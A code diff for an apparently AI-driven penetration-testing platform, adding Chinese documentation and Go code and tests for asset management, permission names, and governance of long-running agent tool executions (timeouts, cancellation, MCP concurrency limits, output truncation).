@@ -128,6 +199,8 @@ Web 端支持搜索 Host、IP、域名、标题、服务和标签,并按状态
`query_assets` 默认每页返回 20 条、最多 50 条摘要。需要完整信息时使用 `get_asset`,避免大量资产数据占用模型上下文。
`create_asset``update_asset` 均支持责任与业务属性;`query_assets` 也可以按这些字段筛选。Agent 写入仍经过与 HTTP API 相同的规范化、字段校验、去重和权限检查。
## 权限控制
资产权限分为:
@@ -138,12 +211,22 @@ Web 端支持搜索 Host、IP、域名、标题、服务和标签,并按状态
服务端会同时检查资产所有者、显式资源授权、所属项目及权限 Scope(`all``assigned``own`)。当对话绑定项目后,Agent 的资产查询会被限制在该项目内,工具参数不能扩大访问范围。
资产批量接口限制:
- `POST /api/assets/import`:单次最多 100000 条;
- `GET /api/assets/selection`:最多解析 10000 条匹配资产;
- `POST /api/assets/scan-links`:单次最多 10000 条;
- `PUT /api/assets/bulk`:单次最多 10000 个资产 ID;
- `PUT /api/assets/project-binding`:单次最多 10000 个资产 ID;
- `POST /api/assets/batch-delete`:单次最多 10000 个资产 ID;
- `POST /api/assets/merge`:单次合并 2-100 个资产 ID。
## 推荐使用流程
1. 划定一组明确授权的域名、IP 或网段。
2. 手工加入少量核心目标,验证识别和去重结果。
3. 使用标签区分生产、测试、核心业务和外网范围。
4. 配置 FOFA,从窄查询开始并确认资产归属。
4. 配置一个或多个网络空间测绘搜索引擎,从窄查询开始并确认资产归属。
5. 对单个低风险目标测试扫描和漏洞回写流程。
6. 使用“从未扫描”和“超过 30 天未扫描”筛选覆盖盲区。
7. 确认流程稳定后,再逐步创建小规模批量任务。
+3 -1
View File
@@ -94,13 +94,15 @@ AI 测试角色不是安全授权边界。即使选择了“渗透测试”角
| 机器人 | `robot:read``robot:write` |
| 文件 | `files:read``files:write``files:delete` |
| 攻击链 | `attackchain:read``attackchain:write` |
| FOFA | `fofa:execute` |
| 网络空间测绘 / 信息收集 | `fofa:execute` |
| OpenAPI | `openapi:read` |
| 对话分组 | `group:read``group:write``group:delete` |
| 执行监控 | `monitor:read``monitor:write``monitor:delete` |
特殊权限说明:
- `fofa:execute` 为兼容旧版本保留权限名,现在保护 **信息收集** 页中的 FOFA、ZoomEye、Quake、Shodan 查询。
- `agent:execute` 允许运行 Agent,但不自动允许本地文件系统、Shell 或任意配置命令。
- `agent:local-execute` 是本地执行兜底权限,应仅授予可信操作员。
- `mcp:execute` 用于访问认证后的 MCP HTTP 入口。
+223
View File
@@ -0,0 +1,223 @@
# 工具执行治理
[返回中文文档](README.md)
本文说明 CyberStrikeAI 对长时间工具、MCP 阻塞、大输出、取消和恢复上下文的治理策略。目标是让 Agent 保持标准工具语义,同时避免工具卡死、上下文爆炸、数据库膨胀或恢复时重新注入历史大输出。
## 设计目标
- **Agent 不被工具绑死**:工具调用可以很慢,但当前 runner 只等待有限时间。
- **长任务可继续观察**:超时返回 `execution_id`,后续可用 `wait_tool_execution` 多轮等待。
- **用户和 Agent 都能取消**:当前会话结束或用户停止任务时,会取消仍在运行的工具。
- **数据库与 Agent 视图一致**:DB 保存的是 Agent 实际拿到的兜底后结果,不再保存另一份原始大输出。
- **恢复不会撑爆上下文**:续跑使用 model-facing trace;历史异常大 tool trace 恢复时也会再次裁剪。
- **外部 MCP 有隔离保护**:按 server 限并发、按全局限并发,并对连续失败的 server 熔断。
## 执行模型
普通工具调用仍然对 Eino/Agent 表现为一次标准 tool call,但底层执行分为两段:
```text
Agent 调用工具
-> ExecutionService 创建 execution
-> worker 执行真实 MCP/工具调用
-> Agent bounded wait
-> 完成:返回工具结果
-> 未完成:返回 execution_idworker 继续后台运行
```
这解决了 MCP server、`exec``sqlmap``nmap``nuclei` 等长任务阻塞当前 runner 的问题。
## 工具状态语义
| 状态 | 含义 |
|---|---|
| `queued` | execution 已创建,等待 worker 或并发槽位 |
| `running` | worker 正在执行 |
| `background_running` | 前端展示状态,表示本轮 Agent 已停止等待,但后台仍在跑 |
| `completed` | 本次 tool call 本身已完成 |
| `failed` | 工具真实失败 |
| `cancelled` | 用户、Agent 或会话清理主动取消 |
| `hard_timeout` | 超过硬超时,被系统终止 |
| `orphaned` | 重启/异常后发现 DB 中仍是 running,但运行时已无对应 worker |
注意:`wait_tool_execution` 到达 `timeout_seconds` 时,如果目标 execution 仍在运行,**这次 wait 调用本身是完成的观察动作**,不是工具执行失败。返回体会说明目标仍为 `running`,前端不应显示为红色失败。
## 控制工具
| 工具 | 用途 |
|---|---|
| `get_tool_execution` | 读取 execution 当前状态 |
| `wait_tool_execution` | 等待指定 execution 一段时间 |
| `cancel_tool_execution` | 主动取消指定 execution |
`get_tool_execution``wait_tool_execution` 支持返回运行中输出预览:
- `include_partial_output`:是否返回 partial output,默认 `true`
- `partial_output_max_bytes`:本次返回的尾部预览上限,默认 `4096`,最大 `65536`
partial output 是“已产生输出的有界预览”,不等同于最终 `result`。最终 `result` 仍只在工具结束时写入 canonical execution 记录;不支持流式输出的工具不会返回 partial 字段。
典型流程:
```text
1. 调用 exec/sqlmap/nmap 等长任务
2. 超过 tool_wait_timeout_seconds 后拿到 execution_id
3. Agent 可继续推理、改用其他工具,或调用 wait_tool_execution
4. 仍未完成时可继续等待,或调用 cancel_tool_execution
```
`tool_wait_timeout_seconds` 适用于内部 MCP、外部 MCP,以及 Eino filesystem 的流式 `execute`。Eino 的 `ls/read_file/write_file/edit_file/glob/grep` 等非流式 filesystem 工具会写入 execution 监控记录,但不作为后台 worker 做软等待续跑。
## 取消和会话清理
- 用户点击“停止任务”时,会取消当前会话仍在运行的工具。
- 会话正常结束后,会批量取消当前会话仍 `running` 的工具。
- “中断并继续”类流程不会做会话级批量取消,以免误杀后续需要等待的 worker。
- 取消只针对当前 conversation 绑定的 execution,不会误杀其他会话的工具。
## 外部 MCP 隔离
外部 MCP 可能因为远端 server 卡住、断连或返回异常而拖慢 Agent。系统提供三层保护:
| 能力 | 配置 | 说明 |
|---|---|---|
| 单 server 并发限制 | `external_mcp_max_concurrent_per_server` | 同一个外部 MCP server 同时运行的工具数 |
| 全局并发限制 | `external_mcp_max_concurrent_total` | 所有外部 MCP 工具总并发 |
| 熔断 | `external_mcp_circuit_failure_threshold` / `external_mcp_circuit_cooldown_seconds` | 单 server 连续失败后短期快速失败,避免反复打坏 server |
推荐默认:
```yaml
agent:
external_mcp_max_concurrent_per_server: 2
external_mcp_max_concurrent_total: 16
external_mcp_circuit_failure_threshold: 3
external_mcp_circuit_cooldown_seconds: 60
```
## 输出兜底
系统使用 `multi_agent.eino_middleware.reduction_max_length_for_trunc` 作为统一工具结果上限。当前示例配置为 50000 bytes。
```yaml
multi_agent:
eino_middleware:
reduction_enable: true
reduction_max_length_for_trunc: 50000
```
兜底覆盖:
| 渠道 | 行为 |
|---|---|
| Agent 实际拿到的工具结果 | 使用兜底后的 canonical result |
| DB/监控存储 | 保存同一份 canonical result |
| `get_tool_execution` / `wait_tool_execution` | 读取同一份 canonical result |
| Eino `execute` / filesystem 监控记录 | 完成记录前统一兜底 |
| 非流式 `exec` stdout/stderr | 源头 bounded buffer |
| 流式 `exec` stdout/stderr | 推送给前端的累计输出也受上限控制 |
| PTY 执行路径 | 同样受上限控制 |
| 前端详情弹窗 | 额外有 UI 展示截断保护 |
触发上限后,完整输出先写入本地 trunc 文件,Agent 侧只保留计入预算的 `<persisted-output>` 预览(含绝对路径)。因此阈值为 50000 时,上下文文本不会超过该上限。
示例:
```text
<persisted-output>
Output too large (200000). Full output saved to: /path/to/tmp/reduction/conversations/<id>/trunc/<execution_id>
Use read_file with offset/limit to read parts of the file.
Preview (first …):
Preview (last …):
</persisted-output>
```
当前策略是「全文落盘 + 上下文预览」:超过 `reduction_max_length_for_trunc` 时,完整输出写入本地文件(默认 `tmp/reduction/conversations/<会话ID>/trunc/<execution_id>`),Agent/DB/监控拿到的是带绝对路径的 `<persisted-output>` 预览;可用 `read_file` 按 offset/limit 回读全文。
## DB 与恢复上下文
新执行结果的写入路径如下:
```text
工具完成
-> NormalizeToolResultForStorage
-> 写入内存 execution
-> 写入 DB
-> 返回给 Agent
```
因此正常情况下,DB 中保存的就是 Agent 拿到的结果。
续跑恢复时,系统使用 `LastAgentTraceInput` 中的 model-facing trace,也就是实际送入 ChatModel 的消息快照,而不是原始事件流累计。恢复入口还会对历史 tool 内容再次应用上限,防止以下情况撑爆上下文:
- 升级前 DB 已经存过原始大输出。
- 手工迁移或导入的数据绕过了当前写入路径。
- 配置从更大阈值改成 50000。
- 未来某条旁路写入漏掉 canonicalize。
## 关键配置建议
长任务场景推荐:
```yaml
agent:
max_iterations: 800
tool_timeout_minutes: 60
tool_wait_timeout_seconds: 30
external_mcp_max_concurrent_per_server: 2
external_mcp_max_concurrent_total: 16
external_mcp_circuit_failure_threshold: 3
external_mcp_circuit_cooldown_seconds: 60
shell_no_output_timeout_seconds: 1200
multi_agent:
eino_middleware:
reduction_enable: true
reduction_max_length_for_trunc: 50000
```
参数说明:
| 参数 | 建议 | 说明 |
|---|---:|---|
| `max_iterations` | `300-1000` | 太大等于放弃循环保护 |
| `tool_timeout_minutes` | `60` | 单次工具硬超时,适合 sqlmap 等长任务 |
| `tool_wait_timeout_seconds` | `30-60` | Agent 本轮等待上限,到时返回 `execution_id` |
| `shell_no_output_timeout_seconds` | `600-1200` | 连续无输出时终止,防止静默挂死 |
| `reduction_max_length_for_trunc` | `50000` | 工具结果统一上限 |
不建议把 `tool_wait_timeout_seconds` 设置得很大。长任务应由 worker 后台跑,Agent 通过 `execution_id` 继续观察,而不是一轮等待数分钟。
## 测试建议
可以用以下对话测试长任务语义:
```text
调用 exec 执行 sleep 120;如果超过 10 秒还没完成,不要一直等,告诉我 execution_id,然后调用 wait_tool_execution 等 5 秒;如果仍未完成,再调用 cancel_tool_execution,最后说明状态。
```
可以用以下命令测试大输出兜底:
```text
调用 exec 执行:python3 - <<'PY'
print("A" * 200000)
PY
然后展示工具结果长度和是否包含截断提示。
```
预期:
- 初始长任务会返回 `execution_id`,状态为 `running` 或前端展示 `background_running`
- `wait_tool_execution` 等待到上限但目标未完成时,本次 wait 调用不应显示为执行失败。
- 大输出结果不会超过 `reduction_max_length_for_trunc`
- DB、监控详情、Agent 继续推理看到的是同一份兜底结果。
## 当前边界
- 外部 MCP 的远端 server 内部如何采集输出不由 CyberStrikeAI 控制;CyberStrikeAI 会在结果进入本系统后统一兜底、限并发和熔断。
- 超长工具输出会在截断前写入本地 `tmp/reduction/.../trunc/<id>`(或 `reduction_root_dir`),bounded result 中包含可 `read_file` 的绝对路径。
+74 -27
View File
@@ -24,18 +24,17 @@ import (
// Agent AI代理
type Agent struct {
openAIClient *openai.Client
config *config.OpenAIConfig
agentConfig *config.AgentConfig
mcpServer *mcp.Server
externalMCPMgr *mcp.ExternalMCPManager // 外部MCP管理器
logger *zap.Logger
maxIterations int
mu sync.RWMutex // 添加互斥锁以支持并发更新
toolNameMapping map[string]string // 工具名称映射:OpenAI格式 -> 原始格式(用于外部MCP工具)
currentConversationID string // 当前对话ID(用于自动传递给工具
promptBaseDir string // 解析 system_prompt_path 时相对路径的基准目录(通常为 config.yaml 所在目录)
toolDescriptionMode string // 工具描述模式: "short" | "full",默认 short
openAIClient *openai.Client
config *config.OpenAIConfig
agentConfig *config.AgentConfig
mcpServer *mcp.Server
externalMCPMgr *mcp.ExternalMCPManager // 外部MCP管理器
logger *zap.Logger
maxIterations int
mu sync.RWMutex // 添加互斥锁以支持并发更新
toolNameMapping map[string]string // 工具名称映射:OpenAI格式 -> 原始格式(用于外部MCP工具)
promptBaseDir string // 解析 system_prompt_path 时相对路径的基准目录(通常为 config.yaml 所在目录
toolDescriptionMode string // 工具描述模式: "short" | "full",默认 short
}
type agentConversationIDKey struct{}
@@ -526,12 +525,6 @@ func (a *Agent) executeToolViaMCP(ctx context.Context, toolName string, args map
// 如果是record_vulnerability工具,自动添加conversation_id
if toolName == builtin.ToolRecordVulnerability {
conversationID := agentConversationIDFromContext(ctx)
if conversationID == "" {
a.mu.RLock()
conversationID = a.currentConversationID
a.mu.RUnlock()
}
if conversationID != "" {
args["conversation_id"] = conversationID
a.logger.Debug("自动添加conversation_id到record_vulnerability工具",
@@ -769,16 +762,8 @@ func (a *Agent) ToolsForRole(roleTools []string) []Tool {
// ExecuteMCPToolForConversation 在指定会话上下文中执行 MCP 工具(行为与主 Agent 循环中的工具调用一致,如自动注入 conversation_id)。
func (a *Agent) ExecuteMCPToolForConversation(ctx context.Context, conversationID, toolName string, args map[string]interface{}) (*ToolExecutionResult, error) {
a.mu.Lock()
prev := a.currentConversationID
a.currentConversationID = conversationID
a.mu.Unlock()
defer func() {
a.mu.Lock()
a.currentConversationID = prev
a.mu.Unlock()
}()
ctx = withAgentConversationID(ctx, conversationID)
ctx = mcp.WithMCPConversationID(ctx, conversationID)
return a.executeToolViaMCP(ctx, toolName, args)
}
@@ -798,6 +783,28 @@ func (a *Agent) FinishLocalToolExecution(ctx context.Context, executionID, toolN
return a.mcpServer.FinishToolExecution(ctx, executionID, toolName, args, resultText, invokeErr)
}
// AppendLocalToolExecutionPartialOutput records a bounded live-output preview for a running local tool.
func (a *Agent) AppendLocalToolExecutionPartialOutput(executionID, chunk string) {
if a == nil || a.mcpServer == nil {
return
}
a.mcpServer.AppendToolExecutionPartialOutput(executionID, chunk)
}
func (a *Agent) RegisterLocalToolExecutionCancel(executionID string, cancel context.CancelFunc) {
if a == nil || a.mcpServer == nil {
return
}
a.mcpServer.RegisterToolExecutionCancel(executionID, cancel)
}
func (a *Agent) UnregisterLocalToolExecutionCancel(executionID string) {
if a == nil || a.mcpServer == nil {
return
}
a.mcpServer.UnregisterToolExecutionCancel(executionID)
}
// RecordLocalToolExecution 将非 CallTool 路径完成的工具调用写入 MCP 监控库(与 CallTool 落库一致),返回 executionId。
// 用于 Eino filesystem execute 等场景,使助手气泡「渗透测试详情」与常规 MCP 一致可点进监控。
func (a *Agent) RecordLocalToolExecution(ctx context.Context, toolName string, args map[string]interface{}, resultText string, invokeErr error) string {
@@ -837,6 +844,46 @@ func (a *Agent) CancelMCPToolExecutionWithNote(executionID, note string) bool {
return false
}
// CancelRunningMCPToolsForConversation cancels all currently running internal/external MCP executions
// owned by the conversation. It is used when a session ends or the user stops a task.
func (a *Agent) CancelRunningMCPToolsForConversation(conversationID, note string) int {
conversationID = strings.TrimSpace(conversationID)
if a == nil || conversationID == "" {
return 0
}
note = strings.TrimSpace(note)
seen := make(map[string]struct{})
cancelled := 0
cancelIfConversationMatches := func(execID string, get func(string) (*mcp.ToolExecution, bool), cancel func(string, string) bool) {
execID = strings.TrimSpace(execID)
if execID == "" {
return
}
if _, ok := seen[execID]; ok {
return
}
seen[execID] = struct{}{}
exec, ok := get(execID)
if !ok || exec == nil || strings.TrimSpace(exec.ConversationID) != conversationID {
return
}
if cancel(execID, note) {
cancelled++
}
}
if a.mcpServer != nil {
for execID := range a.mcpServer.ActiveRunningExecutionIDs() {
cancelIfConversationMatches(execID, a.mcpServer.GetExecution, a.mcpServer.CancelToolExecutionWithNote)
}
}
if a.externalMCPMgr != nil {
for execID := range a.externalMCPMgr.ActiveRunningExecutionIDs() {
cancelIfConversationMatches(execID, a.externalMCPMgr.GetExecution, a.externalMCPMgr.CancelToolExecutionWithNote)
}
}
return cancelled
}
// extractQuotedToolName 尝试从错误信息中提取被引用的工具名称
func extractQuotedToolName(errMsg string) string {
start := strings.Index(errMsg, "\"")
+143
View File
@@ -1,10 +1,15 @@
package agent
import (
"context"
"strings"
"sync"
"testing"
"time"
"cyberstrike-ai/internal/config"
"cyberstrike-ai/internal/mcp"
"cyberstrike-ai/internal/mcp/builtin"
"go.uber.org/zap"
)
@@ -65,3 +70,141 @@ func TestAgent_NewAgent_CustomConfig(t *testing.T) {
t.Errorf("迭代次数不匹配。期望: 15, 实际: %d", agent.maxIterations)
}
}
func TestAgentCancelRunningMCPToolsForConversation(t *testing.T) {
ag := setupTestAgent(t)
ag.mcpServer.ConfigureToolWaitTimeoutSeconds(1)
ag.mcpServer.RegisterTool(mcp.Tool{Name: "block", InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
<-ctx.Done()
return nil, ctx.Err()
})
ctx1 := mcp.WithMCPConversationID(context.Background(), "conv-1")
result1, execID1, err := ag.mcpServer.CallTool(ctx1, "block", nil)
if err != nil {
t.Fatalf("CallTool conv-1: %v", err)
}
if result1 == nil || !result1.IsError || execID1 == "" {
t.Fatalf("expected bounded wait for conv-1, result=%#v id=%q", result1, execID1)
}
ctx2 := mcp.WithMCPConversationID(context.Background(), "conv-2")
result2, execID2, err := ag.mcpServer.CallTool(ctx2, "block", nil)
if err != nil {
t.Fatalf("CallTool conv-2: %v", err)
}
if result2 == nil || !result2.IsError || execID2 == "" {
t.Fatalf("expected bounded wait for conv-2, result=%#v id=%q", result2, execID2)
}
if got := ag.CancelRunningMCPToolsForConversation("conv-1", "session ended"); got != 1 {
t.Fatalf("cancelled count = %d, want 1", got)
}
deadline := time.Now().Add(time.Second)
for time.Now().Before(deadline) {
exec1, _ := ag.mcpServer.GetExecution(execID1)
exec2, _ := ag.mcpServer.GetExecution(execID2)
if exec1 != nil && exec1.Status == mcp.ToolExecutionStatusCancelled {
if exec2 == nil || exec2.Status != mcp.ToolExecutionStatusRunning {
t.Fatalf("conv-2 execution should remain running, got %#v", exec2)
}
if !strings.Contains(exec1.Error, "session ended") && (exec1.Result == nil || !strings.Contains(mcp.ToolResultPlainText(exec1.Result), "session ended")) {
t.Fatalf("cancel note missing from conv-1 execution: %#v", exec1)
}
_ = ag.CancelRunningMCPToolsForConversation("conv-2", "")
return
}
time.Sleep(10 * time.Millisecond)
}
t.Fatal("conv-1 execution did not become cancelled")
}
func TestExecuteMCPToolForConversationInjectsConversationID(t *testing.T) {
ag := setupTestAgent(t)
gotArgs := make(chan map[string]interface{}, 1)
ag.mcpServer.RegisterTool(mcp.Tool{Name: builtin.ToolRecordVulnerability, InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
gotArgs <- args
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "ok"}}}, nil
})
result, err := ag.ExecuteMCPToolForConversation(context.Background(), "conv-record", builtin.ToolRecordVulnerability, map[string]interface{}{})
if err != nil {
t.Fatalf("ExecuteMCPToolForConversation: %v", err)
}
if result == nil || result.IsError {
t.Fatalf("expected successful result, got %#v", result)
}
select {
case args := <-gotArgs:
if got := args["conversation_id"]; got != "conv-record" {
t.Fatalf("conversation_id = %#v, want conv-record", got)
}
case <-time.After(time.Second):
t.Fatal("tool was not called")
}
}
func TestExecuteMCPToolForConversationBindsExecutionConversation(t *testing.T) {
ag := setupTestAgent(t)
ag.mcpServer.ConfigureToolWaitTimeoutSeconds(1)
release := make(chan struct{})
ag.mcpServer.RegisterTool(mcp.Tool{Name: "slow-bind", InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
select {
case <-release:
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "done"}}}, nil
case <-ctx.Done():
return nil, ctx.Err()
}
})
result, err := ag.ExecuteMCPToolForConversation(context.Background(), "conv-bound", "slow-bind", nil)
if err != nil {
t.Fatalf("ExecuteMCPToolForConversation: %v", err)
}
if result == nil || !result.IsError || result.ExecutionID == "" {
t.Fatalf("expected bounded wait result with execution id, result=%#v", result)
}
exec, ok := ag.mcpServer.GetExecution(result.ExecutionID)
if !ok || exec == nil {
t.Fatalf("missing execution %q", result.ExecutionID)
}
if exec.ConversationID != "conv-bound" {
t.Fatalf("execution conversation = %q, want conv-bound", exec.ConversationID)
}
close(release)
}
func TestExecuteMCPToolForConversationConcurrentRecordIsolation(t *testing.T) {
ag := setupTestAgent(t)
seen := make(chan string, 2)
ag.mcpServer.RegisterTool(mcp.Tool{Name: builtin.ToolRecordVulnerability, InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
if conv, _ := args["conversation_id"].(string); conv != "" {
seen <- conv
}
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "ok"}}}, nil
})
var wg sync.WaitGroup
for _, conv := range []string{"conv-a", "conv-b"} {
conv := conv
wg.Add(1)
go func() {
defer wg.Done()
if _, err := ag.ExecuteMCPToolForConversation(context.Background(), conv, builtin.ToolRecordVulnerability, map[string]interface{}{}); err != nil {
t.Errorf("ExecuteMCPToolForConversation %s: %v", conv, err)
}
}()
}
wg.Wait()
close(seen)
got := map[string]int{}
for conv := range seen {
got[conv]++
}
if got["conv-a"] != 1 || got["conv-b"] != 1 {
t.Fatalf("conversation ids = %#v, want one call for conv-a and conv-b", got)
}
}
+20
View File
@@ -148,10 +148,15 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
mcpServer := mcp.NewServerWithStorage(log.Logger, db)
mcpServer.SetToolAuthorizer(mcpToolAuthorizer(db))
mcpServer.ConfigureHTTPToolCallTimeoutFromAgentMinutes(cfg.Agent.ToolTimeoutMinutes)
mcpServer.ConfigureToolWaitTimeoutSeconds(cfg.Agent.ToolWaitTimeoutSeconds)
mcpServer.ConfigureToolResultMaxBytes(cfg.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
mcpServer.ConfigureToolResultSpillRoot(cfg.MultiAgent.EinoMiddleware.ReductionRootDir)
// 创建安全工具执行器
executor := security.NewExecutor(&cfg.Security, mcpServer, log.Logger)
executor.SetShellNoOutputTimeoutSeconds(cfg.Agent.ShellNoOutputTimeoutSeconds)
executor.SetToolOutputMaxBytes(cfg.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
executor.SetToolOutputSpillRoot(cfg.MultiAgent.EinoMiddleware.ReductionRootDir)
// 注册工具
executor.RegisterTools(mcpServer)
@@ -165,6 +170,16 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
// 创建外部MCP管理器(使用与内部MCP服务器相同的存储)
externalMCPMgr := mcp.NewExternalMCPManagerWithStorage(log.Logger, db)
externalMCPMgr.SetToolAuthorizer(externalMCPToolAuthorizer())
externalMCPMgr.ConfigureToolWaitTimeoutSeconds(cfg.Agent.ToolWaitTimeoutSeconds)
externalMCPMgr.ConfigureToolResultMaxBytes(cfg.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
externalMCPMgr.ConfigureToolResultSpillRoot(cfg.MultiAgent.EinoMiddleware.ReductionRootDir)
externalMCPMgr.ConfigureResilience(mcp.ExternalMCPResilienceConfig{
MaxConcurrentPerServer: cfg.Agent.ExternalMCPMaxConcurrentPerServer,
MaxConcurrentTotal: cfg.Agent.ExternalMCPMaxConcurrentTotal,
CircuitFailureThreshold: cfg.Agent.ExternalMCPCircuitFailureThreshold,
CircuitCooldown: time.Duration(cfg.Agent.ExternalMCPCircuitCooldownSeconds) * time.Second,
})
mcp.RegisterExecutionControlTools(mcpServer, externalMCPMgr)
if cfg.ExternalMCP.Servers != nil {
externalMCPMgr.LoadConfigs(&cfg.ExternalMCP)
// 启动所有启用的外部MCP客户端
@@ -983,10 +998,14 @@ func setupRoutes(
// 资产管理
protected.GET("/assets", assetHandler.List)
protected.GET("/assets/selection", assetHandler.Selection)
protected.GET("/assets/stats", assetHandler.Stats)
protected.POST("/assets/import", assetHandler.Import)
protected.POST("/assets/scan-links", assetHandler.RecordScans)
protected.PUT("/assets/bulk", assetHandler.BulkUpdate)
protected.PUT("/assets/project-binding", assetHandler.UpdateProjectBinding)
protected.POST("/assets/batch-delete", assetHandler.BatchDelete)
protected.POST("/assets/merge", security.RequirePermission("asset:write"), assetHandler.Merge)
protected.PUT("/assets/:id", assetHandler.Update)
protected.DELETE("/assets/:id", assetHandler.Delete)
@@ -1318,6 +1337,7 @@ func setupRoutes(
// 对话附件(chat_uploads)管理
protected.GET("/chat-uploads", chatUploadsHandler.List)
protected.GET("/chat-uploads/export", chatUploadsHandler.Export)
protected.GET("/chat-uploads/download", chatUploadsHandler.Download)
protected.GET("/chat-uploads/content", chatUploadsHandler.GetContent)
protected.POST("/chat-uploads", chatUploadsHandler.Upload)
+64 -12
View File
@@ -193,7 +193,11 @@ func assetMutationProperties() map[string]interface{} {
"domain": map[string]interface{}{"type": "string"}, "protocol": map[string]interface{}{"type": "string"},
"title": map[string]interface{}{"type": "string"}, "server": map[string]interface{}{"type": "string"},
"country": map[string]interface{}{"type": "string"}, "province": map[string]interface{}{"type": "string"}, "city": map[string]interface{}{"type": "string"},
"source": map[string]interface{}{"type": "string"}, "source_query": map[string]interface{}{"type": "string"},
"responsible_person": map[string]interface{}{"type": "string"}, "department": map[string]interface{}{"type": "string"},
"business_system": map[string]interface{}{"type": "string"},
"environment": map[string]interface{}{"type": "string", "enum": []string{"production", "staging", "testing", "development", "other"}},
"criticality": map[string]interface{}{"type": "string", "enum": []string{"critical", "high", "medium", "low"}},
"source": map[string]interface{}{"type": "string"}, "source_query": map[string]interface{}{"type": "string"},
"status": map[string]interface{}{"type": "string", "enum": []string{"active", "inactive"}},
"tags": map[string]interface{}{"type": "array", "items": map[string]interface{}{"type": "string"}, "maxItems": 50},
}
@@ -205,16 +209,25 @@ func assetQuerySchema() map[string]interface{} {
"project_id": map[string]interface{}{"type": "string"}, "status": map[string]interface{}{"type": "string", "enum": []string{"active", "inactive"}},
"protocol": map[string]interface{}{"type": "string"}, "source": map[string]interface{}{"type": "string"}, "tag": map[string]interface{}{"type": "string"},
"host": map[string]interface{}{"type": "string"}, "ip": map[string]interface{}{"type": "string"}, "domain": map[string]interface{}{"type": "string"},
"port": map[string]interface{}{"type": "integer", "minimum": 0, "maximum": 65535},
"scan_state": map[string]interface{}{"type": "string", "enum": []string{"never", "scanned"}, "description": "never=从未扫描,scanned=扫描过"},
"last_scan_before": map[string]interface{}{"type": "string", "description": "RFC3339 时间或 YYYY-MM-DD"},
"last_scan_after": map[string]interface{}{"type": "string", "description": "RFC3339 时间或 YYYY-MM-DD"},
"last_seen_before": map[string]interface{}{"type": "string", "description": "RFC3339 时间或 YYYY-MM-DD"},
"last_seen_after": map[string]interface{}{"type": "string", "description": "RFC3339 时间或 YYYY-MM-DD"},
"sort_by": map[string]interface{}{"type": "string", "enum": []string{"last_seen_at", "last_scan_at", "first_seen_at", "created_at", "updated_at", "host", "port"}},
"sort_order": map[string]interface{}{"type": "string", "enum": []string{"asc", "desc"}},
"page": map[string]interface{}{"type": "integer", "minimum": 1},
"page_size": map[string]interface{}{"type": "integer", "minimum": 1, "maximum": agentAssetPageSizeMax},
"port": map[string]interface{}{"type": "integer", "minimum": 0, "maximum": 65535},
"risk_level": map[string]interface{}{"type": "string", "enum": []string{"unassessed", "critical", "high", "medium", "low", "info", "normal"}},
"min_vulnerabilities": map[string]interface{}{"type": "integer", "minimum": 0},
"max_vulnerabilities": map[string]interface{}{"type": "integer", "minimum": 0},
"country": map[string]interface{}{"type": "string"}, "province": map[string]interface{}{"type": "string"}, "city": map[string]interface{}{"type": "string"},
"responsible_person": map[string]interface{}{"type": "string"}, "department": map[string]interface{}{"type": "string"},
"business_system": map[string]interface{}{"type": "string"}, "environment": map[string]interface{}{"type": "string"}, "criticality": map[string]interface{}{"type": "string"},
"scan_state": map[string]interface{}{"type": "string", "enum": []string{"never", "scanned"}, "description": "never=从未扫描,scanned=扫描过"},
"scan_overdue_days": map[string]interface{}{"type": "integer", "minimum": 1},
"last_scan_before": map[string]interface{}{"type": "string", "description": "RFC3339 时间或 YYYY-MM-DD"},
"last_scan_after": map[string]interface{}{"type": "string", "description": "RFC3339 时间或 YYYY-MM-DD"},
"first_seen_before": map[string]interface{}{"type": "string", "description": "RFC3339 时间或 YYYY-MM-DD"},
"first_seen_after": map[string]interface{}{"type": "string", "description": "RFC3339 时间或 YYYY-MM-DD"},
"last_seen_before": map[string]interface{}{"type": "string", "description": "RFC3339 时间或 YYYY-MM-DD"},
"last_seen_after": map[string]interface{}{"type": "string", "description": "RFC3339 时间或 YYYY-MM-DD"},
"sort_by": map[string]interface{}{"type": "string", "enum": []string{"last_seen_at", "last_scan_at", "first_seen_at", "created_at", "updated_at", "host", "port", "risk_level", "vulnerability_count"}},
"sort_order": map[string]interface{}{"type": "string", "enum": []string{"asc", "desc"}},
"page": map[string]interface{}{"type": "integer", "minimum": 1},
"page_size": map[string]interface{}{"type": "integer", "minimum": 1, "maximum": agentAssetPageSizeMax},
}
return map[string]interface{}{"type": "object", "properties": properties}
}
@@ -246,6 +259,11 @@ func applyAssetPatch(asset *database.Asset, args map[string]interface{}) error {
setString("country", &asset.Country)
setString("province", &asset.Province)
setString("city", &asset.City)
setString("responsible_person", &asset.ResponsiblePerson)
setString("department", &asset.Department)
setString("business_system", &asset.BusinessSystem)
setString("environment", &asset.Environment)
setString("criticality", &asset.Criticality)
setString("source", &asset.Source)
setString("source_query", &asset.SourceQuery)
setString("status", &asset.Status)
@@ -273,6 +291,11 @@ func assetFilterFromToolArgs(args map[string]interface{}) (database.AssetListFil
Host: strings.TrimSpace(strArg(args, "host")), IP: strings.TrimSpace(strArg(args, "ip")), Domain: strings.TrimSpace(strArg(args, "domain")),
ScanState: strings.ToLower(strings.TrimSpace(strArg(args, "scan_state"))), SortBy: strings.ToLower(strings.TrimSpace(strArg(args, "sort_by"))),
SortOrder: strings.ToLower(strings.TrimSpace(strArg(args, "sort_order"))),
RiskLevel: strings.ToLower(strings.TrimSpace(strArg(args, "risk_level"))),
Country: strings.TrimSpace(strArg(args, "country")), Province: strings.TrimSpace(strArg(args, "province")), City: strings.TrimSpace(strArg(args, "city")),
